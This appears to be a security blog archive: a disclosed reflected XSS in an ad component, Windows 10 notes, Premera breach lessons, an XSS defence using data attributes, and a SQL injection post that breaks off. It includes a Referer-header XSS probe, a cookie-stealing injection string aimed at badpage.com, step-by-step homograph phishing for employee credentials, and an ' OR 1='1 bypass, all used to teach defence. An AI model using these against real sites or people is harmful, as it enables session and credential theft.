Hack Your Friends Next

My buddy Troy Hunt has a popular PluralSight training class called “Hack Yourself First”. This is excellent advice, as it addresses multiple ideas:

  • You have your own permission to hack your own site, which means you aren’t getting into trouble
  • Before looking outward, you get to see how good your own security is
  • Hacking yourself makes it less likely that when you open up to the Internet, you’ll get pwned
  • By trying a few attacks, you’ll get to see what things an attacker might try and how to fend them off

Plenty of other reasons, I’m sure. Maybe I should watch his training.

Every now and again, though, I’ll hack my friends as well. There are a few reasons for this, too:

  • I know enough not to actually break a site – this is important
  • My friends will generally rather hear from me than an attacker that they have an obvious flaw
  • Tools that I use to find vulnerabilities sometimes stay enabled in the background
  • It’s funny

Such is the way with my recent visit to troyhunt.com – I’ve been researching reflected XSS issues caused by including script in the Referrer header.

What’s the Referrer header?

Actually, there’s two places that hold the referrer, and it’s important to know the difference between them, because they get attacked in different ways, and attacks can be simulated in different ways.

The Referrer header (actually misspelled as “Referer”) is an HTTP header that the browser sends as part of its request for a new web page. The Referrer header contains a URL to the old page that the browser had loaded and which triggered the browser to fetch the new page.

There are many rules as to when this Referrer header can, and can’t, be sent. It can’t be sent if the user typed a URL. It can’t be sent if the target is HTTP, but the source was HTTPS. But there are still enough places it can be sent that the contents of the Referer header are a source of significant security concern – and why you shouldn’t EVER put sensitive data in the URL or query parameters, even when sending to an HTTPS destination. Even when RESTful.

Forging the Referer when attacking a site is a simple matter of opening up Fiddler (or your other favourite scriptable proxy) and adding a new automatic rule to your CustomRules.js, something like this:

// AMJ
    if (oSession.oRequest.headers.Exists("Referer"))
        {
            if (oSession.oRequest.headers["Referer"].Contains("?"))
                oSession.oRequest.headers["Referer"] += "&\"-prompt()-\"";
            else
                oSession.oRequest.headers["Referer"] += "?\"-prompt()-\"";
        }
        else
            oSession.oRequest.headers["Referer"] = "http://www.example.com?\"-prompt()-\"";

Something like this code was in place when I visited other recently reported vulnerable sites, but Troy’s I hit manually. Because fun.

JavaScript’s document.referrer

The other referrer is in Javascript, the document.referrer field. I couldn’t find any rules about when this is, or isn’t available. That suggests it’s available for use even in cases where the HTTP Referer header believes it is not safe to do so, at least in some browser or other.

Forging this is harder, and I’m not going to delve into it. I want you to know about it in case you’ve used the Referer header, and referrer-vulnerable code isn’t triggering. Avoids tearing your hair out.

Back to the discovery

So, lately I’ve been testing sites with a URL ending in the magic string ?"-prompt()-" – and happened to try it at Troy’s site, among others.

I’d seen a pattern of adsafeprotected.com advertising being vulnerable to this issue. [It’s not the only one by any means, but perhaps the most prevalent]. It’s difficult accurately reproducing this issue, because advertising mediators will send you to different advertisers each time you visit a site.

And so it was with great surprise that I tried this on Troy’s site and got an immediate hit. Partly because I know Troy will have already tried this on his own site.

Through a URL parameter, I’m injecting script into a hosted component that unwisely includes the Referer header’s contents in its JavaScript without encoding and/or quoting it first.

It’s ONLY Reflected XSS

I hear that one all the time – no big deal, it’s only a reflected XSS, the most you can do with this is to abuse yourself.

Kind of, yeah. Here’s some of my reasons why Reflected XSS is important:

  • It’s an obvious flaw – it suggests your code is weak all over
  • It’s easy to fix – if you don’t fix the easy flaws, do you want me to believe you fix the hard ones?
  • An attacker can send a link to your trusted web site in a spam email, and have thousands of your users clicking on it and being exploited
  • It’s like you’ve hired a new developer on your web site – the good news is, you don’t have to pay them. The bad news is, they don’t turn up to design meetings, and may have completely different ideas about how your web site should work
  • The attacker can change content as displayed to your users without you knowing what changes are made
  • The attacker can redirect your users to other malicious websites, or to your competitors
  • The attacker can perform network scans of your users’ systems
  • The attacker can run keylogging – capturing your users’ username and password, for instance
  • The attacker can communicate with your users – with your users thinking it’s you
  • A reflected XSS can often become stored XSS, because you allow users of your forums / reviews / etc to post links to your site “because they’re safe, trusted links”
  • Once an attacker convinces one of your staff to visit the reflected XSS, the attack becomes internal. Your staff will treat the link as “trusted” and “safe”
  • Any XSS will tend to trump your XSRF protections.

So, for multiple values of “self” outside the attacker, you can abuse yourself with Reflected XSS.

Contacting the vendor and resolving

With all security research, there comes a time when you want to make use of your findings, whether to garner yourself more publicity, or to earn a paycheck, or simply to notify the vendor and have them fix something. I prefer the latter, when it’s possible / easy.

Usually, the key is to find an email address at the vulnerable domain – but security@adsafeprotected.com wasn’t working, and I couldn’t find any hints of an actual web site at adsafeprotected.com for me to go look at.

Troy was able to start from the other direction – as the owner of a site showing these adverts, he contacted the advertising agent that puts ads onto his site, and get them to fix the issue.

“Developer Media” was the name of the group, and their guy Chris quickly got onto the issue, as did Jamie from Integral Ads, the owners of adsafeprotected.com. Developer Media pulled adsafeprotected as a source of ads, and Integral Ads fixed their code.

Sites that were previously vulnerable are now not vulnerable – at least not through that exact attack.

I count that as a win.

There’s more to learn here

Finally, some learning.

1. Reputational risk / impact

Your partners can bring you as much risk as your own developers and your own code. You may be able to transfer risk to them, but you can’t transfer reputational risk as easily. With different notifications, Troy’s brand could have been substantially damaged, as could Developer Media’s and Integral Ads’. As it is, they all responded quickly, quietly and appropriately, reducing the reputational impact.

[As for my own reputational impact – you’re reading this blog entry, so that’s a positive.]

2. Good guy / bad guy hackers

This issue was easy to find. So it’s probably been in use for a while by the bad guys. There are issues like this at multiple other sites, not related to adsafeprotected.

So you should test your site and see if it’s vulnerable to this, or similar, code. If you don’t feel like you’ll do a good job, employ a penetration tester or two.

3. Reducing risk by being paranoid (iframe protection)

There’s a thin line between “paranoia” and “good security practice”. Troy’s blog uses good security practice, by ensuring that all adverts are inside an iframe, where they can’t execute in Troy’s security context. While I could redirect his users, perhaps to a malicious or competing site, I wasn’t able to read his users’ cookies, or modify content on his blog.

There were many other hosts using adsafeprotected without being in an iframe.

Make it a policy that all externally hosted content (beyond images) is required to be inside of an iframe. This acts like a firewall between your partners and you.

4. Make yourself findable

If you’re a developer, you need to have a security contact, and that contact must be findable from any angle of approach. Security researchers will not spend much time looking for your contact information.

Ideally, for each domain you handle, have the address security@example.com (where you replace “example.com” with your domain) point to a monitored email address. This will be the FIRST thing a security researcher will try when contacting you. Finding the “Contact Us” link on your web page and filling out a form is farther down on the list of things a researcher will do. Such a researcher usually has multiple findings they’re working on, and they’ll move on to notifying someone else rather than spend time looking for how to notify you.

5. Don’t use “safe”, “secure”, “protected” etc in your domain name

This just makes it more ironic when the inevitable vulnerability is found.

6. Vulns protected by XSS Filter are still vulns

As Troy notes, I did have to disable the XSS Filter in order to see this vuln happen.

That doesn’t make the vuln any less important to fix – all it means is that to exploit it, I have to find customers who have also disabled the XSS Filter, or find a way to evade the filter.

There are many sites advising users how to disable the XSS Filter, for various (mostly specious) reasons, and there are new ways every day to evade the filter.

7. Ad security is HARD

The web ad industry is at a crisis point, from my perspective.

Flash has what appear to be daily vulnerabilities, and yet it’s still seen to be the medium of choice for online advertising.

Even without vulnerabilities in Flash, its programmability lends it to being used by bad guys to distribute malicious software. There are logic-based and time-based exploits (display a ‘good’ ad when inspected by the ad hosting provider; display a bad ad, or do something malicious when displayed on customers’ computers) which attackers will use to ensure that their ad passes rigorous inspection, but still deploys bad code to end users.

Any ad that uses JavaScript is susceptible to common vulnerability methods.

Ad blockers are being run by more and more people – even institutions (one college got back 40% of their network bandwidth by employing ad blocking).

Web sites need to be funded. If you’re not paying for the content, someone is. How is that to be done except through advertising? [Maybe you have a good idea that hasn’t been tried yet]

8. Timing of bug reports is a challenge

I’ll admit, I was bored when I found the bug on Troy’s site on a weekend. I decided to contact him straight away, and he responded immediately.

This led to Developer Media being contacted late on a Sunday.

This is not exactly friendly of me and Troy – but at least we didn’t publish, and left it to the developers to decide whether to treat this as a “fire drill”.

A good reason, indeed, to use responsible / coordinated disclosure, and make sure that you don’t publish until teams are actively working on / have resolved the problem.

9. Some browsers are safer – that doesn’t mean your web site is safe

There are people using old and poorly configured browsers everywhere. Perhaps they make up .1% of your users. If you have 100,000 users, that’s a hundred people who will be affected by issues with those browsers.

Firefox escaped because it encoded the quote characters to %22, and the server at adsafeprotected didn’t decode them. Technically, adsafeprotected’s server is not RFC compliant because of this, so Firefox isn’t really protecting anyone here.

Chrome escaped because it encoded the quote characters AND has an XSS filter to block things like my attack. This is not 100% safe, and can be disabled easily by the user.

Internet Explorer up to version 11 escaped if you leave the XSS Filter turned on.

Microsoft Edge in Windows 10 escaped because it encodes the quote characters and has a robust XSS Filter that, as far as I can tell, you can’t turn off.

All these XSS filters can be turned off by setting a header in network traffic.

Nobody would do that.

Until such time as one of these browsers has a significant flaw in their XSS filter.

So, don’t rely on the XSS Filter to protect you – it can’t be complete, and it may wind up being disabled.

Windows 10 – first impressions

I’ve updated from Windows 8.1 to Windows 10 Enterprise Insider Preview over this weekend, on my Surface Pro 3 and a Lenovo tablet. Both machines are used for software development as well as playing games, so seemed the ideal place to practice.

So here’s some initial impressions:

1. VPN still not working properly

I’ve mentioned before (ranted, perhaps) about how the VPN support in Windows 8.1 is great for desktop apps, but broken for Metro / Modern / Immersive / Windows Store apps.

Still, maybe now I’m able to provide feedback, and Windows is in a beta test phase, perhaps they’ll pay attention and fix the bugs.

2. Stuff crashes

It’s a beta, but just in case you were persuaded to install this on a production system, it’s still not release quality.

Every so often, the Edge browser (currently calling itself “Project Spartan”) will just die on you.

I’ve managed to get the “People Hub” to start exactly twice without crashing immediately.

3. Update after you install

Download the most recent version from the Insider’s page, and you still have to apply an update to the entire system before you’re actually up to date. The update takes essentially as long as the initial install.

4. Update before you install – and make a backup

Hey, it’s a beta – what did you expect?

Things will break, you’ll find yourself missing functionality, so you may need to restore to your original state. Update before you install, and fewer things will be as likely to go wrong in the upgrade.

5. Provide feedback – even about the little things

They won’t fix things you don’t provide feedback about.

OK, so maybe they also won’t fix things that you DO provide feedback on, but that’s how life works. Not everything gets fixed. Ever.

But if you don’t report issues, you won’t ever see them fixed.

6. The new People Hub is awful

The People “Hub” in Windows 10, from the couple of times I’ve managed to execute it, basically has my contacts, and can display what’s new from them in Outlook Mail.

I rather enjoy the Windows 8.1 People Hub, where you can see in one place the most recent interactions in Twitter, Facebook, LinkedIn and Skype. Or at least, that’s what it promises, even if it only actually delivers Facebook and Twitter.

7. Videos can now be deleted

It’s always possible to delete a video file, of course, but in Windows 8.1, after you’ve finished watching a video from the Videos app, you had to go find some other tool in which to do so – and hope that you deleted the right one.

In Windows 10 you can use the context menu (right click, or tap and hold) on a video to delete it from your store.

Still needs some more work – it doesn’t display subtitles / closed-captioning, it only orders alphabetically, and there’s no jumping to the letter “Q” by pressing the “Q” key, but this app is already looking very functional even for those of us who collect MP4 files to watch.

8. No Media Center

I really, really liked the Media Center. More than TiVo. We have several Media Center PCs in our house, and now we have to figure out what we’re going to do. I’m not going back to having a made-for-purpose device that can’t do computing, I want my Media Center. I’ll try some of its competitors, but it’d be really nice if Microsoft relents and puts support back for Media Center.

9. Edge / Spartan browser – awesome

Excellent HTML5 compatibility, reduced chance of being hit by third party vulnerabilities, F12 Developer Tools, and still allows me to test for XSS vulnerabilities if I choose to do so.

Pretty much what I want in a browser, although from a security standpoint, the choice to allow two third party vulnerabilities add-ins into the browser, Flash and Reader, seems to be begging future trouble.

Having said that, you can disable Adobe Flash in the Advanced Settings of your Spartan browser. I’m going to recommend that you do that on all your non-gaming machines. Then find out which of your web sites need it, and either fix them, or decide whether you can balance the threat of Flash with the utility of that service.

The F12 Developer Tools continue to be a very useful set of web site debugging tools, and assist me greatly in discovering and expanding on web site vulnerabilities. I personally find them easier than debugging tools in other browsers, and they have the benefit of being always installed in recent Microsoft browsers.

The “Reader” view is a nice feature, although it was present in Windows 8.1, and should be used any time you want to actually read the contents of a story, rather than wade through adverts and constant resizing of other content around the text you’re actually interested in.

9.1 XSS

Because, you know, I’m all about the XSS.

Internet Explorer has a pretty assertive XSS filter built in, and even when you turn it off in your settings, it still comes back to prevent you. I find this to be tricky, because I sometimes need to convince developers of the vulnerabilities in their apps. Firefox is often helpful here, because it has NO filters, but sometimes the behaviour I’m trying to show is specific to Internet Explorer.

Particularly, if I type a quote character into the URL in Internet Explorer, it sends a quote character. Firefox will send a %22 or %27 (double or single quotes). So, sometimes IE will trigger behaviour that Firefox doesn’t.

Sadly, although Spartan does seem to still be useful for XSS testing, the XSS filter can’t be specifically turned off in settings. I’d love to see if I can find a secret setting for this.

10. Microsoft Print to PDF

Windows has needed a PDF printer since, oh, Windows 3.1. A print driver that prompts you for a file name, and saves whatever you’re printing as a PDF file.

With Office, this kind of existed with Save as PDF. With OneNote, you could Print to OneNote, open the View ribbon, and hide the header, before exporting as a PDF. But that’s the long way around.

With Windows 10, Microsoft installed a new printer driver, “Microsoft Print to PDF”. It does what it says on the tin, allowing you to generate PDFs from anywhere that can print.

11. Tablet Mode / PC mode

I use a Surface Pro 3 as my main system, and I have to say that the reversion to a mainly desktop model of operations is nice to my eyes, but a little confusing to the hands – I don’t quite know how to manage things any more.

Sometimes I like to work without the keyboard, because the tablet works well that way. But now I can’t close apps by sliding from top to bottom, even when I’ve expanded them to full screen. Not sure how I’m supposed to do this.

Lessons to learn already from Premera – 2. Prevention

Not much has been released about exactly how Premera got attacked, and certainly nothing from anyone with recognised insider knowledge.

Disclaimer: I worked at Premera in the Information Security team, but it’s so so long ago that any of my internal knowledge is incorrect – so I’ll only talk about those things that I have seen published.

I am, above all, a customer of Premera’s, from 2004 until just a few weeks ago. But I’m a customer with a strong background in Information Security.

What have we read?

Almost everything boils down rather simply to one article as the source of what we know.

http://www.threatconnect.com/news/the-anthem-hack-all-roads-lead-to-china/

Some pertinent dates

February 4, 2015: News stories break about Anthem’s breach (formerly Wellpoint).

January 29, 2015: The date given by Premera as the date when they were first made aware that they’d been attacked.

I don’t think that it’s a coincidence that these dates are so close together. In my opinion, these dates imply that Anthem / Wellpoint found their own issues, notified the network of other health insurance companies, and then published to the news outlets.

As a result of this, Premera recognised the same attack patterns in their own systems.

This suggests that any other health insurance companies attacked by the same group (alleged to be “Deep Panda”) will discover and disclose it shortly.

Why I keep mentioning Wellpoint

I’ve kind of driven in the idea that Anthem used to be called Wellpoint, and the reason I’m bringing this out is that a part of the attack documented by ThreatConnect was to create a site called “we11point.com” – that’s “wellpoint.com”, but with the two letter “els” replaced with two “one” digits.

That’s relevant because the ThreatConnect article also called out that there was a web site called “prennera.com” created by the same group.

That’s sufficient for an attack

So, given a domain name similar to that of a site you wish to attack, how would you get full access to the company behind that site?

Here’s just one way you might mount that attack. There are other ways to do this, but this is the most obvious, given the limited information above.

  1. Create a domain, prennera.com
  2. Visit the premera.com sites used by employees from the external Internet (these would be VPN sites, Outlook Web Access and similar, HR sites – which often need to be accessed by ex-employees)
  3. Capture data related to the logon process – focus only on the path that represents a failed logon (because without passwords, you don’t know what a successful logon does)
  4. Replicate that onto your prennera.com network. Test it to make sure it looks good
  5. Now send email to employees, advising them to check on their email, their paystubs, whatever sites you’ve verified, but linking them to the prennera.com version
  6. Sit back and wait for people to send you their usernames and passwords – when they do, tell them they’ve got it wrong, and redirect them to the proper premera.com site
  7. Log on to the target network using the credentials you’ve got

If you’re concerned that I’m telling attackers how to do this, remember that this is obvious stuff. This is already a well known attack strategy, “homograph attacks”. This is what a penetration tester will do if you hire one to test your susceptibility to social engineering.

There’s no vulnerability involved, there’s no particularly obvious technical failing here, it’s just the age-old tactic of giving someone a screen that looks like their logon page, and telling them they’ve failed to logon. I saw this basic form of attack in the eighties, it’s that old.

How to defend against this?

If you’ve been reading my posts to date, you’ll know that I’m aware that security offence is sexy and exciting, but security defence is really where the clever stuff belongs.

I have a few simple recommendations that I think apply in this case:

  1. Separate employee and customer account databases. Maybe your employees are also customers, but their accounts should be separately managed and controlled. Maybe the ID is the same in both cases, but the accounts being referenced must be conceptually and architecturally in different account pools.
  2. Separate employee and customer web domains. This is just a generally good idea, because it means that a session ID or other security context from the customer site cannot be used on the employee site. Cross-Origin Security Policies apply to allow the browser to prevent sharing of credentials and access between the two domains. Separation of environments is one of the tasks a firewall can achieve relatively successfully, and with different domains, that job is assisted by your customers’ and employees’ browsers.
  3. External-to-internal access must be gated by a secondary authentication factor (2FA, MFA – standing for two/multi factor authentication). That way, an attacker who phishes your employees will not get a credential they can use from the outside.

Another tack that’s taken by companies is to engage a reputation management company, to register domain names that are homoglyphs to your own (those that look the same in a browser address bar).  Or, to file lawsuits that take down such domains when they appear. Whichever is cheaper. My perspective on this is that it costs money, and is doomed to fail whenever a new TLD arises, or your company creates a new brand.

[Not that reputation management companies can’t help you with your domain names, mind you – they can prevent you, for instance, from releasing a product with a name that’s already associated with a domain name owned by another company.]

These three steps are somewhat interdependent, and they may cause a certain degree of inconvenience, but they will prevent exactly the kind of attacks I’ve described. [Yes, there are other potential attacks, but none introduced by the suggested changes]

HTML data attributes – stop my XSS

First, a disclaimer for the TL;DR crowd – data attributes alone will not stop all XSS, mine or anyone else’s. You have to apply them correctly, and use them properly.

However, I think you’ll agree with me that it’s a great way to store and reference data in a page, and that if you only handle user data in correctly encoded data attributes, you have a greatly-reduced exposure to XSS, and can actually reduce your exposure to zero.

Next, a reminder about my theory of XSS – that there are four parts to an XSS attack – Injection, Escape, Attack and Cleanup. Injection is necessary and therefore can’t be blocked, Attacks are too varied to block, and Cleanup isn’t always required for an attack to succeed. Clearly, then, the Escape is the part of the XSS attack quartet that you can block.

Now let’s set up the code we’re trying to protect – say we want to have a user-input value accessible in JavaScript code. Maybe we’re passing a search query to Omniture (by far the majority of JavaScript Injection XSS issues I find). Here’s how it often looks:

<script>
s.prop1="mysite.com";
s.prop2="SEARCH-STRING";
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
s_code=s.t();
if(s_code)
document.write(s_code)//—>
</script>

Let’s suppose that “SEARCH-STRING” above is the string for which I searched.

I can inject my code as a search for:

"-window.open("//badpage.com/"+document.cookie,"_top")-"

The second line then becomes:

s.prop2=""-window.open("//badpage.com/"+document.cookie,"_top")-"";

Yes, I know you can’t subtract two strings, but JavaScript doesn’t know that until it’s evaluated the window.open() function, and by then it’s too late, because it’s already executed the bad thing. A more sensible language would have thrown an error at compile time, but this is just another reason for security guys to hate dynamic languages.

How do data attributes fix this?

A data attribute is an attribute in an HTML tag, whose name begins with the word “data” and a hypen.

These data attributes can be on any HTML tag, but usually they sit in a tag which they describe, or which is at least very close to the portion of the page they describe.

Data attributes on table cells can be associated to the data within that cell, data attributes on a body tag can be associated to the whole page, or the context in which the page is loaded.

Because data attributes are HTML attributes, quoting their contents is easy. In fact, there’s really only a couple of quoting rules needed to consider.

  1. The attribute’s value must be quoted, either in double-quote or single-quote characters, but usually in double quotes because of XHTML
  2. Any ampersand (“&”) characters need to be HTML encoded to “&amp;”.
  3. Quote characters occurring in the value must be HTML encoded to “&quot;

Rules 2 & 3 can simply be replaced with “HTML encode everything in the value other than alphanumerics” before applying rule 1, and if that’s easier, do that.

Sidebar – why those rules?

HTML parses attribute value strings very simply – look for the first non-space character after the “=” sign, which is either a quote or not a quote. If it’s a quote, find another one of the same kind, HTML-decode what’s in between them, and that’s the attribute’s value. If the first non-space after the equal sign is not a quote, the value ends at the next space character.
Contemplate how these are parsed, and then see if you’re right:

  • <a onclick="prompt("1")">&lt;a onclick="prompt("1")"&gt;</a>

  • <a onclick = "prompt( 1 )">&lt;a onclick = "prompt( 1 )"&gt;</a>

  • <a onclick= prompt( 1 ) >&lt;a onclick= prompt( 1 ) &gt;</a>

  • <a onclick= prompt(" 1 ") >&lt;a onclick= prompt(" 1 ") &gt;</a>

  • <a onclick= prompt( "1" ) >&lt;a onclick= prompt( "1" ) &gt;</a>

  • <a onclick= "prompt( 1 )">&lt;a onclick=&amp;#9;"prompt( 1 )"&gt;</a>

  • <a onclick= "prompt( 1 )">&lt;a onclick=&amp;#32;"prompt( 1 )"&gt;</a>

  • <a onclick= thing=1;prompt(thing)>&lt;a onclick= thing=1;prompt(thing)&gt;</a>

  • <a onclick="prompt(\"1\")">&lt;a onclick="prompt(\"1\")"&gt;</a>

Try each of them (they aren’t live in this document – you should paste them into an HTML file and open it in your browser), see which ones prompt when you click on them. Play with some other formats of quoting. Did any of these surprise you as to how the browser parsed them?

Here’s how they look in the Debugger in Internet Explorer 11:

image

Uh… That’s not right, particularly line 8. Clearly syntax colouring in IE11’s Debugger window needs some work.

OK, let’s try the DOM Explorer:

image

Much better – note how the DOM explorer reorders some of these attributes, because it’s reading them out of the Document Object Model (DOM) in the browser as it is rendered, rather than as it exists in the source file. Now you can see which are interpreted as attribute names (in red) and which are the attribute values (in blue).

Other browsers have similar capabilities, of course – use whichever one works for you.

Hopefully this demonstrates why you need to follow the rules of 1) quoting with double quotes, 2) encoding any ampersand, and 3) encoding any double quotes.

Back to the data-attributes

So, now if I use those data-attributes, my HTML includes a number of tags, each with one or more attributes named “data-something-or-other”.

Accessing these tags from basic JavaScript is easy. You first need to get access to the DOM object representing the tag – if you’re operating inside of an event handler, you can simply use the “this” object to refer to the object on which the event is handled (so you may want to attach the data-* attributes to the object which triggers the handler).

If you’re not inside of an event handler, or you want to get access to another tag, you should find the object representing the tag in some other way – usually document.getElementById(…)

Once you have the object, you can query an attribute with the function getAttribute(…) – the single argument is the name of the attribute, and what’s returned is a string – and any HTML encoding in the data-attribute will have been decoded once.

Other frameworks have ways of accessing this data attribute more easily – for instance, JQuery has a “.data(…)” function which will fetch a data attribute’s value.

How this stops my XSS

I’ve noted before that stopping XSS is a “simple” matter of finding where you allow injection, and preventing, in a logical manner, every possible escape from the context into which you inject that data, so that it cannot possibly become code.

If all the data you inject into a page is injected as HTML attribute values or HTML text, you only need to know one function – HTML Encode – and whether you need to surround your value with quotes (in a data-attribute) or not (in HTML text). That’s a lot easier than trying to understand multiple injection contexts each with their own encoding function. It’s a lot easier to protect the inclusion of arbitrary user data in your web pages, and you’ll also gain the advantage of not having multiple injection points for the same piece of data. In short, your web page becomes more object-oriented, which isn’t a bad thing at all.

One final gotcha

You can still kick your own arse.

When converting user input from the string you get from getAttribute to a numeric value, what function are you going to use?

Please don’t say “eval”.

Eval is evil. Just like innerHtml and document.write, its use is an invitation to Cross-Site Scripting.

Use parseFloat() and parseInt(), because they won’t evaluate function calls or other nefarious components in your strings.

So, now I’m hoping your Omniture script looks like this:

<div id="myDataDiv" data-search-term="SEARCH-STRING"></div>
<script>
s.prop1="mysite.com";
s.prop2=document.getElementById("myDataDiv").getAttribute("data-search-term");
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
s_code=s.t();
if(s_code)
document.write(s_code)//—>
</script>

You didn’t forget to HTML encode your SEARCH-STRING, or at least its quotes and ampersands, did you?

P.S. Omniture doesn’t cause XSS, but many people implementing its required calls do.

Turning away from Micro$oft

Yesterday’s unexpected notice from Micro$oft that I am not being awarded MVP status this year has caused me to take stock of my situation.

Now that I’m no longer a paid shill of the Evil Empire, and they’ve taken away my free Compuserve account, I feel I can no longer use their products – mainly because I can no longer afford them if I can’t download them for free from MSDN and TechNet.

Security strengths – OR NOT!

Microsoft has been widely derided in the security community for many years, and despite having invented, expanded and documented several secure development processes, practices and tools, it seems they still can’t ship a copy of Flash with Internet Explorer that doesn’t contain rolling instances of buffer overflows.

Microsoft make a great deal out of their SDL tools – documentation and threat modeling guides – and yet they still haven’t produced a version that runs on Mac or Linux systems, unlike Mozilla who’s been able to create a multi-platform threat modeling tool, called Seasponge. Granted it only lets you draw rudimentary data-flow diagrams, and provides no assistance or analysis of its own, requiring you to think of and write up your own threats – but it’s better than nothing! Not better than a whiteboard, granted, but vastly better than nothing.

Active Directory is touted along with its ability to provide central management by Group Policy Objects simply isn’t able to scale nearly as well as the Open Source competition of Linux, which allows each desktop owner to manage their own security to a degree of granularity that allows for some fantastic incoherence (ahem, “innovation”) between neighbouring cubicles. This is, after all, the Year of Linux on the Desktop.

Unlike Windows, with its one standard for disk encryption, and its one standard for file encryption, Linux has any number to choose from, each with some great differences from all the others, and with the support of a thriving community to tell you their standard is the de-facto one, and why the others suck. You can spend almost as much bandwidth discussing which framework to use as you would save by not bothering to encrypt anything in the first place – which is, of course, what happens while you’re debating.

Something something OpenSSL.

Networking – notworking, more like!

IPv6 has been a part of Windows since Windows XP, and has been enabled by default for considerably longer. And yet so very few of Microsoft’s web properties are available with an IPv6 address, something I’ve bugged them about for the last several years. Okay, so www.microsoft.com, www.bing.com and ftp.microsoft.com all have recently-minted IPv6 addresses, but what about www.so.cl? Oh, OK.

Then there’s the Windows TCP SYN behaviour, where a SYN arriving at a busy socket was responded to by a RST, rather than the silence echoed by every other TCP stack, and which was covered up by Windows re-sending a SYN in response to a RST, where every other TCP stack reports a RST as a quick failure. I can’t tell you how many years I’ve begged Microsoft to change this behaviour. OK, so the last time I spoke to them on this issue, my son was eight, and now he’s driving, so perhaps they’ve worked some more on that since then. It is, after all, a vital issue to support correct connectivity.

It’s never a bag year any more

Finally, of course, the declining MVP swag quality has hit me hard, as I now have to buy my own laptop bag to replace the MVP ones that wore out and were never replaced, a result of Microsoft’s pandering to environmental interests by shipping a chunk of glass instead of a cool toy or bag each year.

My MVP toys were fun – a logo-stamped 1GB USB drive, a laser-pointer-pen-and-stylus which doesn’t work on capacitive touch screens, a digital photo frame – but never as much fun as those given to the MVPs in other Product Groups. The rumoured MVP compound in Florida available for weekend getaways always seemed to be booked.

No more Microsoft for me!

So, how do I get MacOS installed on this Surface Pro 3?

Lessons to learn already from Premera – 1. Notification

Last weekend, along with countless employees and ex-employees of Microsoft, Amazon, Expedia, and Premera itself, I received a breach notification signed by Premera’s President & CEO, Jeffrey Roe.

Here’s a few things I think can already be learned from this letter and the available public information:

Don’t claim “sophisticated”

Whenever I see the phrase “sophisticated cyberattack”, not only am I turned off by the meaningless prefix “cyber”, which seems to serve only to “baffle them with bullshit”, but I’m also convinced that the author is trying to convince me that, hey, this attack was just too amazing and science-fictiony to do anything to stop.

All that does is push me in the other direction – to assume that the attack was relatively simple, and should have been prevented and/or noticed.

Granted, my experience is in Information Security, and so I’m always fairly convinced that it’ll be the simple attacks, not the complex and difficult ones, that will be the most successful against any site I’m trying to protect. It’s a little pessimistic, but it’s been proven right time and again.

So, never say that an attack is “sophisticated” unless you really mean that the attack was way beyond what could have been reasonably imagined. You don’t have to say the attackers used simple methods to get in because your team are idiots, because that’s unlikely to be entirely true, either. Just don’t make it sound like it’s not your fault. And don’t make that your opening gambit, either – this was the very first sentence in Premera’s notification.

Don’t say “may” / “might”, say “was”

“some of your personal information may have been accessed”

Again, this phrasing simply makes me think “these guys have no idea what was accessed”, which really doesn’t inspire confidence.

Instead, you should say “the attackers had access to all our information, including your personal and medical data”. Then acknowledge that you don’t have tracking on what information was exported, so you have to act as if it all was.

Say “sorry we allowed your data to be lost”

The worst apologies on record all contain some variation of “I’m sorry you’re upset”, or “I’m sorry you took offence”.

Premera’s version of this is “We … regret the concern it may cause”. So, not even “sorry”. And to the extent that it’s an apology at all, it is that we, current and past customers, were “concerned”.

Parenthetical abbreviations mean this was written by a lawyer

Premera Blue Cross (“Premera”) …

… Information Technology (IT) systems

As if the lack of apology didn’t already tip us off that this document was prepared by a lawyer, the parenthetical creation of abbreviations to be used later on makes it completely clear.

If the letter had sounded more human, it would have been easier to receive as something other than a legal arse-covering exercise.

Speed is important

The letter acknowledges that the issue was discovered on January 29, 2015, and the letter is dated March 17, 2015. That’s nearly two months. And nearly a year since the attackers got in. That’s assuming that you’ve truly figured out the extent of the “sophisticated cyberattack”.

Actually, that’s pretty fast for security breach disclosure, but it still gives the impression to customers that you aren’t letting them know in enough time to protect themselves.

The reason given for this delay is that Premera wanted to ensure that their systems were safe before letting other attackers know about the issue – but it’s generally a fallacy to assume that attackers don’t know about your vulnerabilities. Premera, and the health insurance industry, do a great job of sharing security information with other health insurance providers – but the attackers do an even better job of sharing information about vulnerable systems and tools.

Which leads us to…

Preparation is key

If your company doesn’t have a prepared breach disclosure letter, approved by public relations, the security team and your lawyers, it’s going to take you at least a week, probably two, to put one together. And you’ll have missed something, because you’re preparing it in a rush, in a panic, and in a haze while you’re angry and scared about having been attacked.

Your prepared letter won’t be complete, and won’t be entirely applicable to whatever breach finally comes along and bites you, but it’ll put you that much closer to being ready to handle and communicate that breach. You’ll still need to review it and argue between Security, Legal and PR teams.

Have a plan for this review process, and know the triggers that will start it. Maybe even test the process once in a while.

If you believe that breaches could require a credit notification or ID tracking protection, negotiate this ahead of time, so that this will not slow you down in your announcement. Or write your notification letter with the intent of providing this information at a later time.

Finally, because your notification letter will miss something, make sure it includes the ability to update your customers – link to an FAQ online that can be updated, and provide a call-in number for people to ask questions of an informed team of responders.

More to come

There’s always more information coming out about this vulnerability, and I plan to blog a little more about it later.

Let me know in particular if there’s something you’d like me to cover on this topic.

I’m hacking your website with 15-year-old technology

But then, I’m hacking your website because of a 15-year-old flaw.

It’s been noted for some time that I love playing with XSS, simply because it’s so widespread, and because it’s an indication of the likely security stance of the rest of the website.

But if XSS is important because it’s widely spread, it’s got a relatively low impact.

Slightly less widely spread, but often the cause of far greater damage, is SQL injection.

I’ll talk some more later about how SQL injection happens, but for now a quick demonstration of the power of SQL injection.

What it isn’t – the login page

Every demonstration of SQL injection I’ve ever seen includes this example:

sqlCommandString = "SELECT userid FROM users WHERE userid='" + inputID + "' AND password='" + inputPass + "'"

And of course, the trick here is to supply the user ID “admin” and the password “' OR 1='1”.

Sure, IF you have that code in your app, that will let the user in as admin.

But then, IF you have that code in your app, you have many bigger problems than SQL injection – because your user database contains unprotected passwords, and a leak will automatically tell the world how poor your security is, and always has been.

More likely, if you have SQL injection in the logon code at all, is that you will have code like this:

sqlCommandString = "SELECT userid, password FROM users WHERE userid='" + inputID + "'"
… execute sqlCommandString …
… extract salt …
… hash incoming password …
… compare salted hash of incoming password against stored password …

